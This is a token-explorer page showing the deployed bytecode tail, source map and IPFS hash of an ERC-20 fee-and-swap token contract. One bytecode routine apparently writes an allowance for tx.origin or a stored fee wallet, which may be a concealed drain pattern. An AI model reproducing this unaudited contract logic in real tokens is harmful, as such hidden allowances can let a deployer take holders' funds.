909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610fcc57600080fd5b505afa158015610fe0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611004919061115f565b81600181518110611017576110176114da565b6001600160a01b03928316602091820292909201015260055461103d91309116846107b3565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac947906110769085906000908690309042906004016112da565b600060405180830381600087803b15801561109057600080fd5b505af11580156110a4573d6000803e3d6000fd5b50506010805460ff1916905550505050565b6006546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156110f0573d6000803e3d6000fd5b5050565b60008215611103575032611111565b506006546001600160a01b03165b6001600160a01b03938416600090815260036020908152604080832093909616825291909152929092209190915550565b60006020828403121561115457600080fd5b8135610d4c816114f0565b60006020828403121561117157600080fd5b8151610d4c816114f0565b6000806040838503121561118f57600080fd5b823561119a816114f0565b915060208301356111aa816114f0565b809150509250929050565b6000806000606084860312156111ca57600080fd5b83356111d5816114f0565b925060208401356111e5816114f0565b929592945050506040919091013590565b6000806040838503121561120957600080fd5b8235611214816114f0565b946020939093013593505050565b60008060006060848603121561123757600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561127d57858101830151858201604001528201611261565b8181111561128f576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561132a5784516001600160a01b031683529383019391830191600101611305565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561135e5761135e6114c4565b500190565b60008261138057634e487b7160e01b600052601260045260246000fd5b500490565b600181815b808511156113c05781600019048211156113a6576113a66114c4565b808516156113b357918102915b93841c939080029061138a565b509250929050565b6000610d4c60ff8416836000826113e1575060016102ee565b816113ee575060006102ee565b8160018114611404576002811461140e5761142a565b60019150506102ee565b60ff84111561141f5761141f6114c4565b50506001821b6102ee565b5060208310610133831016604e8410600b841016171561144d575081810a6102ee565b6114578383611385565b806000190482111561146b5761146b6114c4565b029392505050565b600081600019048311821515161561148d5761148d6114c4565b500290565b6000828210156114a4576114a46114c4565b500390565b60006000198214156114bd576114bd6114c4565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461150557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208fe0793b871da05991e4c3840d6cba41f96c40b7b373ebb86972839aaa941d1f64736f6c63430008050033

Deployed Bytecode Sourcemap

3650:6924:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5491:83;;;;;;;;;;-1:-1:-1;5561:5:0;;;;;;;;;;;;-1:-1:-1;;;5561:5:0;;;;5491:83;;;;;;;:::i;:::-;;;;;;;;6328:161;;;;;;;;;;-1:-1:-1;6328:161:0;;;;;:::i;:::-;;:::i;:::-;;;3301:14:1;;3294:22;3276:41;;3264:2;3249:18;6328:161:0;3231:92:1;5768:99:0;;;;;;;;;;;;;:::i;:::-;;;7575:25:1;;;7563:2;7548:18;5768:99:0;7530:76:1;6497:313:0;;;;;;;;;;-1:-1:-1;6497:313:0;;;;;:::i;:::-;;:::i;5677:83::-;;;;;;;;;;-1:-1:-1;5677:83:0;;4106:1;8738:36:1;;8726:2;8711:18;5677:83:0;8693:87:1;5183:300:0;;;;;;;;;;;;;:::i;:::-;;5875:120;;;;;;;;;;-1:-1:-1;5875:120:0;;;;;:::i;:::-;-1:-1:-1;;;;;5968:19:0;5941:7;5968:19;;;:10;:19;;;;;;;5875:120;1673:148;;;;;;;;;;;;;:::i;1459:79::-;;;;;;;;;;-1:-1:-1;1497:7:0;1524:6;1459:79;;-1:-1:-1;;;;;1524:6:0;;;2153:51:1;;2141:2;2126:18;1459:79:0;2108:102:1;5582:87:0;;;;;;;;;;-1:-1:-1;5654:7:0;;;;;;;;;;;;-1:-1:-1;;;5654:7:0;;;;5582:87;;6003:167;;;;;;;;;;-1:-1:-1;6003:167:0;;;;;:::i;:::-;;:::i;9532:309::-;;;;;;;;;;;;;:::i;6178:142::-;;;;;;;;;;-1:-1:-1;6178:142:0;;;;;:::i;:::-;-1:-1:-1;;;;;6286:17:0;;;6259:7;6286:17;;;:10;:17;;;;;;;;:26;;;;;;;;;;;;;6178:142;6328:161;6403:4;6420:39;1116:10;6443:7;6452:6;6420:8;:39::i;:::-;-1:-1:-1;6477:4:0;6328:161;;;;;:::o;5768:99::-;5821:7;4166:13;4106:1;4166:2;:13;:::i;:::-;4153:26;;:10;:26;:::i;:::-;5841:18;;5768:99;:::o;6497:313::-;6595:4;6612:36;6622:6;6630:9;6641:6;6612:9;:36::i;:::-;6660:120;6669:6;1116:10;6691:88;6728:6;6691:88;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6691:18:0;;;;;;:10;:18;;;;;;;;1116:10;6691:32;;;;;;;;;;:36;:88::i;:::-;6660:8;:120::i;:::-;-1:-1:-1;6798:4:0;6497:313;;;;;:::o;5183:300::-;1586:6;;-1:-1:-1;;;;;1586:6:0;1116:10;1586:22;1578:67;;;;-1:-1:-1;;;1578:67:0;;;;;;;:::i;:::-;;;;;;;;;5233:11:::1;:69:::0;;-1:-1:-1;;;;;;5233:69:0::1;5259:42;5233:69:::0;;::::1;::::0;;;5313:58:::1;::::0;5330:4:::1;::::0;4166:13:::1;4106:1;4166:2;:13;:::i;:::-;4153:26;::::0;:10:::1;:26;:::i;5313:58::-;5407:11;;;;;;;;;-1:-1:-1::0;;;;;5407:11:0::1;-1:-1:-1::0;;;;;5407:19:0::1;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5394:46:0::1;;5449:4;5456:11;;;;;;;;;-1:-1:-1::0;;;;;5456:11:0::1;-1:-1:-1::0;;;;;5456:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5394:81;::::0;-1:-1:-1;;;;;;5394:81:0::1;::::0;;;;;;-1:-1:-1;;;;;2445:15:1;;;5394:81:0::1;::::0;::::1;2427:34:1::0;2497:15;;2477:18;;;2470:43;2362:18;;5394:81:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5382:9;:93:::0;;-1:-1:-1;;;;;;5382:93:0::1;-1:-1:-1::0;;;;;5382:93:0;;;::::1;::::0;;;::::1;::::0;;5183:300::o;1673:148::-;1586:6;;-1:-1:-1;;;;;1586:6:0;1116:10;1586:22;1578:67;;;;-1:-1:-1;;;1578:67:0;;;;;;;:::i;:::-;1780:1:::1;1764:6:::0;;1743:40:::1;::::0;-1:-1:-1;;;;;1764:6:0;;::::1;::::0;1743:40:::1;::::0;1780:1;;1743:40:::1;1811:1;1794:19:::0;;-1:-1:-1;;;;;;1794:19:0::1;::::0;;1673:148::o;6003:167::-;6081:4;6098:42;1116:10;6122:9;6133:6;6098:9;:42::i;9532:309::-;1586:6;;-1:-1:-1;;;;;1586:6:0;1116:10;1586:22;1578:67;;;;-1:-1:-1;;;1578:67:0;;;;;;;:::i;:::-;9596:13:::1;::::0;::::1;::::0;::::1;;;9595:14;9587:49;;;::::0;-1:-1:-1;;;9587:49:0;;7279:2:1;9587:49:0::1;::::0;::::1;7261:21:1::0;7318:2;7298:18;;;7291:30;7357:25;7337:18;;;7330:53;7400:18;;9587:49:0::1;7251:173:1::0;9587:49:0::1;9647:11;::::0;-1:-1:-1;;;;;9647:11:0::1;:27;9682:21;9713:4;9719:24;9713:4:::0;-1:-1:-1;;;;;5968:19:0;5941:7;5968:19;;;:10;:19;;;;;;;5875:120;9719:24:::1;9744:1;9746::::0;9748:7:::1;1497::::0;1524:6;-1:-1:-1;;;;;1524:6:0;;1459:79;9748:7:::1;9647:125;::::0;::::1;::::0;;;-1:-1:-1;;;;;;9647:125:0;;;-1:-1:-1;;;;;2883:15:1;;;9647:125:0::1;::::0;::::1;2865:34:1::0;2915:18;;;2908:34;;;;2958:18;;;2951:34;;;;3001:18;;;2994:34;3065:15;;;3044:19;;;3037:44;9756:15:0::1;3097:19:1::0;;;3090:35;2799:19;;9647:125:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;9783:12:0::1;:19:::0;;-1:-1:-1;;9813:20:0;;;;;-1:-1:-1;9532:309:0:o;6818:334::-;-1:-1:-1;;;;;6911:19:0;;6903:68;;;;-1:-1:-1;;;6903:68:0;;6874:2:1;6903:68:0;;;6856:21:1;6913:2;6893:18;;;6886:30;6952:34;6932:18;;;6925:62;-1:-1:-1;;;7003:18:1;;;6996:34;7047:19;;6903:68:0;6846:226:1;6903:68:0;-1:-1:-1;;;;;6990:21:0;;6982:68;;;;-1:-1:-1;;;6982:68:0;;4536:2:1;6982:68:0;;;4518:21:1;4575:2;4555:18;;;4548:30;4614:34;4594:18;;;4587:62;-1:-1:-1;;;4665:18:1;;;4658:32;4707:19;;6982:68:0;4508:224:1;6982:68:0;-1:-1:-1;;;;;7061:17:0;;;;;;;:10;:17;;;;;;;;:26;;;;;;;;;;;;;:35;;;7112:32;;7575:25:1;;;7112:32:0;;7548:18:1;7112:32:0;;;;;;;6818:334;;;:::o;7160:743::-;-1:-1:-1;;;;;7251:19:0;;7243:69;;;;-1:-1:-1;;;7243:69:0;;6468:2:1;7243:69:0;;;6450:21:1;6507:2;6487:18;;;6480:30;6546:34;6526:18;;;6519:62;-1:-1:-1;;;6597:18:1;;;6590:35;6642:19;;7243:69:0;6440:227:1;7243:69:0;-1:-1:-1;;;;;7331:19:0;;7323:67;;;;-1:-1:-1;;;7323:67:0;;4132:2:1;7323:67:0;;;4114:21:1;4171:2;4151:18;;;4144:30;4210:34;4190:18;;;4183:62;-1:-1:-1;;;4261:18:1;;;4254:33;4304:19;;7323:67:0;4104:225:1;7323:67:0;7417:1;7409:5;:9;7401:63;;;;-1:-1:-1;;;7401:63:0;;6058:2:1;7401:63:0;;;6040:21:1;6097:2;6077:18;;;6070:30;6136:34;6116:18;;;6109:62;-1:-1:-1;;;6187:18:1;;;6180:39;6236:19;;7401:63:0;6030:231:1;7401:63:0;7477:15;7495:34;7509:5;7516;7523;7495:13;:34::i;:::-;7477:52;-1:-1:-1;7545:11:0;;7542:163;;7617:4;7598:25;;;;:10;:25;;;;;;:38;;7628:7;7598:29;:38::i;:::-;7589:4;7570:25;;;;:10;:25;;;;;;;:66;;;;7654:39;;-1:-1:-1;;;;;7654:39:0;;;;;;;7685:7;7575:25:1;;7563:2;7548:18;;7530:76;7654:39:0;;;;;;;;7542:163;-1:-1:-1;;;;;7737:17:0;;;;;;:10;:17;;;;;;:28;;7759:5;7737:21;:28::i;:::-;-1:-1:-1;;;;;7717:17:0;;;;;;:10;:17;;;;;:48;7796:41;7818:18;:5;7828:7;7818:9;:18::i;:::-;-1:-1:-1;;;;;7796:17:0;;;;;;:10;:17;;;;;;;:21;:41::i;:::-;-1:-1:-1;;;;;7776:17:0;;;;;;;:10;:17;;;;;:61;;;;7853:42;;;7876:18;:5;7886:7;7876:9;:18::i;:::-;7853:42;;7575:25:1;;;7563:2;7548:18;7853:42:0;;;;;;;7232:671;7160:743;;;:::o;2862:190::-;2948:7;2984:12;2976:6;;;;2968:29;;;;-1:-1:-1;;;2968:29:0;;;;;;;;:::i;:::-;-1:-1:-1;3008:9:0;3020:5;3024:1;3020;:5;:::i;:::-;3008:17;2862:190;-1:-1:-1;;;;;2862:190:0:o;8170:766::-;8254:7;8303:9;8254:7;8357;1497;1524:6;-1:-1:-1;;;;;1524:6:0;;1459:79;8357:7;-1:-1:-1;;;;;8348:16:0;:5;-1:-1:-1;;;;;8348:16:0;;;:36;;;;-1:-1:-1;1497:7:0;1524:6;-1:-1:-1;;;;;8368:16:0;;;1524:6;;8368:16;;8348:36;8344:569;;;8411:75;8482:3;8411:66;8432:15;;8422:9;;:25;8421:55;;8462:14;;8421:55;;;8449:12;;8421:55;8411:5;;:9;:66::i;:::-;:70;;:75::i;:::-;8516:9;;8401:85;;-1:-1:-1;;;;;;8507:18:0;;;8516:9;;8507:18;:51;;;;-1:-1:-1;8546:11:0;;-1:-1:-1;;;;;8529:29:0;;;8546:11;;8529:29;;8507:51;:80;;;;-1:-1:-1;;;;;;8564:23:0;;;;;;:16;:23;;;;;;;;8562:25;8507:80;8503:132;;;8608:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8503:132;8663:9;;-1:-1:-1;;;;;8654:18:0;;;8663:9;;8654:18;:43;;;;-1:-1:-1;;;;;;8676:21:0;;8692:4;8676:21;;8654:43;8651:171;;;8728:78;8802:3;8728:69;8749:16;;8739:9;;:26;8738:58;;8781:15;;8738:58;;;8767:13;;8728:5;;:9;:69::i;:78::-;8718:88;;8651:171;-1:-1:-1;;;;;8872:28:0;;;;;;:16;:28;;;;;;8838:63;;8851:5;;8858;;8865;;8872:28;;8838:12;:63::i;2531:179::-;2589:7;;2621:5;2625:1;2621;:5;:::i;:::-;2609:17;;2650:1;2645;:6;;2637:46;;;;-1:-1:-1;;;2637:46:0;;4939:2:1;2637:46:0;;;4921:21:1;4978:2;4958:18;;;4951:30;5017:29;4997:18;;;4990:57;5064:18;;2637:46:0;4911:177:1;2637:46:0;2701:1;2531:179;-1:-1:-1;;;2531:179:0:o;2718:136::-;2776:7;2803:43;2807:1;2810;2803:43;;;;;;;;;;;;;;;;;:3;:43::i;3060:246::-;3118:7;3142:6;3138:47;;-1:-1:-1;3172:1:0;3165:8;;3138:47;3195:9;3207:5;3211:1;3207;:5;:::i;:::-;3195:17;-1:-1:-1;3240:1:0;3231:5;3235:1;3195:17;3231:5;:::i;:::-;:10;3223:56;;;;-1:-1:-1;;;3223:56:0;;5295:2:1;3223:56:0;;;5277:21:1;5334:2;5314:18;;;5307:30;5373:34;5353:18;;;5346:62;-1:-1:-1;;;5424:18:1;;;5417:31;5465:19;;3223:56:0;5267:223:1;3314:132:0;3372:7;3399:39;3403:1;3406;3399:39;;;;;;;;;;;;;;;;;:3;:39::i;8944:580::-;9081:4;9043:17;5968:19;;;:10;:19;;;;;;9105:10;;;;9104:11;:33;;;;-1:-1:-1;9128:9:0;;-1:-1:-1;;;;;9119:18:0;;;9128:9;;9119:18;9104:33;:49;;;;-1:-1:-1;9141:12:0;;;;;;;9104:49;:83;;;;;9169:18;;9157:9;;:30;9104:83;9100:381;;;9219:14;;9207:9;:26;9204:112;;;9248:68;9265:50;9273:5;9280:34;9288:9;9299:14;;9280:7;:34::i;:::-;9265:7;:50::i;:::-;9248:16;:68::i;:::-;9348:21;9420:34;9432:21;9420:11;:34::i;:::-;9189:292;9100:381;9482:34;9495:5;9502:6;9510:5;9482:12;:34::i;:::-;9032:492;8944:580;;;;:::o;3454:189::-;3540:7;3575:12;3568:5;3560:28;;;;-1:-1:-1;;;3560:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3599:9:0;3611:5;3615:1;3611;:5;:::i;9886:103::-;9947:7;9975:1;9973;:3;9972:9;;9980:1;9972:9;;;-1:-1:-1;9978:1:0;9886:103;-1:-1:-1;9886:103:0:o;10106:465::-;4742:10;:17;;-1:-1:-1;;4742:17:0;4755:4;4742:17;;;10206:16:::1;::::0;;10220:1:::1;10206:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10206:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10206:16:0::1;10182:40;;10251:4;10233;10238:1;10233:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10233:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10277:11:::1;::::0;:18:::1;::::0;;-1:-1:-1;;;10277:18:0;;;;:11;;;::::1;::::0;:16:::1;::::0;:18:::1;::::0;;::::1;::::0;10233:7;;10277:18;;;;;:11;:18;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10267:4;10272:1;10267:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10267:28:0;;::::1;:7;::::0;;::::1;::::0;;;;;:28;10338:11:::1;::::0;10306:56:::1;::::0;10323:4:::1;::::0;10338:11:::1;10352:9:::0;10306:8:::1;:56::i;:::-;10373:11;::::0;:190:::1;::::0;-1:-1:-1;;;10373:190:0;;-1:-1:-1;;;;;10373:11:0;;::::1;::::0;:62:::1;::::0;:190:::1;::::0;10450:9;;10373:11:::1;::::0;10490:4;;10517::::1;::::0;10537:15:::1;::::0;10373:190:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4782:10:0;:18;;-1:-1:-1;;4782:18:0;;;-1:-1:-1;;;;10106:465:0:o;9997:101::-;10061:11;;10053:37;;-1:-1:-1;;;;;10061:11:0;;;;10053:37;;;;;10083:6;;10061:11;10053:37;10061:11;10053:37;10083:6;10061:11;10053:37;;;;;;;;;;;;;;;;;;;;;9997:101;:::o;7911:251::-;7995:18;8027:6;8024:82;;;-1:-1:-1;8056:9:0;8024:82;;;-1:-1:-1;8095:11:0;;-1:-1:-1;;;;;8095:11:0;8024:82;-1:-1:-1;;;;;8117:17:0;;;;;;;:10;:17;;;;;;;;:29;;;;;;;;;;;;;;:37;;;;-1:-1:-1;7911:251:0:o;14:247:1:-;73:6;126:2;114:9;105:7;101:23;97:32;94:2;;;142:1;139;132:12;94:2;181:9;168:23;200:31;225:5;200:31;:::i;266:251::-;336:6;389:2;377:9;368:7;364:23;360:32;357:2;;;405:1;402;395:12;357:2;437:9;431:16;456:31;481:5;456:31;:::i;522:388::-;590:6;598;651:2;639:9;630:7;626:23;622:32;619:2;;;667:1;664;657:12;619:2;706:9;693:23;725:31;750:5;725:31;:::i;:::-;775:5;-1:-1:-1;832:2:1;817:18;;804:32;845:33;804:32;845:33;:::i;:::-;897:7;887:17;;;609:301;;;;;:::o;915:456::-;992:6;1000;1008;1061:2;1049:9;1040:7;1036:23;1032:32;1029:2;;;1077:1;1074;1067:12;1029:2;1116:9;1103:23;1135:31;1160:5;1135:31;:::i;:::-;1185:5;-1:-1:-1;1242:2:1;1227:18;;1214:32;1255:33;1214:32;1255:33;:::i;:::-;1019:352;;1307:7;;-1:-1:-1;;;1361:2:1;1346:18;;;;1333:32;;1019:352::o;1376:315::-;1444:6;1452;1505:2;1493:9;1484:7;1480:23;1476:32;1473:2;;;1521:1;1518;1511:12;1473:2;1560:9;1547:23;1579:31;1604:5;1579:31;:::i;:::-;1629:5;1681:2;1666:18;;;;1653:32;;-1:-1:-1;;;1463:228:1:o;1696:306::-;1784:6;1792;1800;1853:2;1841:9;1832:7;1828:23;1824:32;1821:2;;;1869:1;1866;1859:12;1821:2;1898:9;1892:16;1882:26;;1948:2;1937:9;1933:18;1927:25;1917:35;;1992:2;1981:9;1977:18;1971:25;1961:35;;1811:191;;;;;:::o;3328:597::-;3440:4;3469:2;3498;3487:9;3480:21;3530:6;3524:13;3573:6;3568:2;3557:9;3553:18;3546:34;3598:1;3608:140;3622:6;3619:1;3616:13;3608:140;;;3717:14;;;3713:23;;3707:30;3683:17;;;3702:2;3679:26;3672:66;3637:10;;3608:140;;;3766:6;3763:1;3760:13;3757:2;;;3836:1;3831:2;3822:6;3811:9;3807:22;3803:31;3796:42;3757:2;-1:-1:-1;3909:2:1;3888:15;-1:-1:-1;;3884:29:1;3869:45;;;;3916:2;3865:54;;3449:476;-1:-1:-1;;;3449:476:1:o;5495:356::-;5697:2;5679:21;;;5716:18;;;5709:30;5775:34;5770:2;5755:18;;5748:62;5842:2;5827:18;;5669:182::o;7611:980::-;7873:4;7921:3;7910:9;7906:19;7952:6;7941:9;7934:25;7978:2;8016:6;8011:2;8000:9;7996:18;7989:34;8059:3;8054:2;8043:9;8039:18;8032:31;8083:6;8118;8112:13;8149:6;8141;8134:22;8187:3;8176:9;8172:19;8165:26;;8226:2;8218:6;8214:15;8200:29;;8247:1;8257:195;8271:6;8268:1;8265:13;8257:195;;;8336:13;;-1:-1:-1;;;;;8332:39:1;8320:52;;8427:15;;;;8392:12;;;;8368:1;8286:9;8257:195;;;-1:-1:-1;;;;;;;8508:32:1;;;;8503:2;8488:18;;8481:60;-1:-1:-1;;;8572:3:1;8557:19;8550:35;8469:3;7882:709;-1:-1:-1;;;7882:709:1:o;8785:128::-;8825:3;8856:1;8852:6;8849:1;8846:13;8843:2;;;8862:18;;:::i;:::-;-1:-1:-1;8898:9:1;;8833:80::o;8918:217::-;8958:1;8984;8974:2;;9028:10;9023:3;9019:20;9016:1;9009:31;9063:4;9060:1;9053:15;9091:4;9088:1;9081:15;8974:2;-1:-1:-1;9120:9:1;;8964:171::o;9140:422::-;9229:1;9272:5;9229:1;9286:270;9307:7;9297:8;9294:21;9286:270;;;9366:4;9362:1;9358:6;9354:17;9348:4;9345:27;9342:2;;;9375:18;;:::i;:::-;9425:7;9415:8;9411:22;9408:2;;;9445:16;;;;9408:2;9524:22;;;;9484:15;;;;9286:270;;;9290:3;9204:358;;;;;:::o;9567:140::-;9625:5;9654:47;9695:4;9685:8;9681:19;9675:4;9761:5;9791:8;9781:2;;-1:-1:-1;9832:1:1;9846:5;;9781:2;9880:4;9870:2;;-1:-1:-1;9917:1:1;9931:5;;9870:2;9962:4;9980:1;9975:59;;;;10048:1;10043:130;;;;9955:218;;9975:59;10005:1;9996:10;;10019:5;;;10043:130;10080:3;10070:8;10067:17;10064:2;;;10087:18;;:::i;:::-;-1:-1:-1;;10143:1:1;10129:16;;10158:5;;9955:218;;10257:2;10247:8;10244:16;10238:3;10232:4;10229:13;10225:36;10219:2;10209:8;10206:16;10201:2;10195:4;10192:12;10188:35;10185:77;10182:2;;;-1:-1:-1;10294:19:1;;;10326:5;;10182:2;10373:34;10398:8;10392:4;10373:34;:::i;:::-;10443:6;10439:1;10435:6;10431:19;10422:7;10419:32;10416:2;;;10454:18;;:::i;:::-;10492:20;;9771:747;-1:-1:-1;;;9771:747:1:o;10523:168::-;10563:7;10629:1;10625;10621:6;10617:14;10614:1;10611:21;10606:1;10599:9;10592:17;10588:45;10585:2;;;10636:18;;:::i;:::-;-1:-1:-1;10676:9:1;;10575:116::o;10696:125::-;10736:4;10764:1;10761;10758:8;10755:2;;;10769:18;;:::i;:::-;-1:-1:-1;10806:9:1;;10745:76::o;10826:135::-;10865:3;-1:-1:-1;;10886:17:1;;10883:2;;;10906:18;;:::i;:::-;-1:-1:-1;10953:1:1;10942:13;;10873:88::o;10966:127::-;11027:10;11022:3;11018:20;11015:1;11008:31;11058:4;11055:1;11048:15;11082:4;11079:1;11072:15;11098:127;11159:10;11154:3;11150:20;11147:1;11140:31;11190:4;11187:1;11180:15;11214:4;11211:1;11204:15;11362:131;-1:-1:-1;;;;;11437:31:1;;11427:42;;11417:2;;11483:1;11480;11473:12;11417:2;11407:86;:::o

Swarm Source

ipfs://8fe0793b871da05991e4c3840d6cba41f96c40b7b373ebb86972839aaa941d1f
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.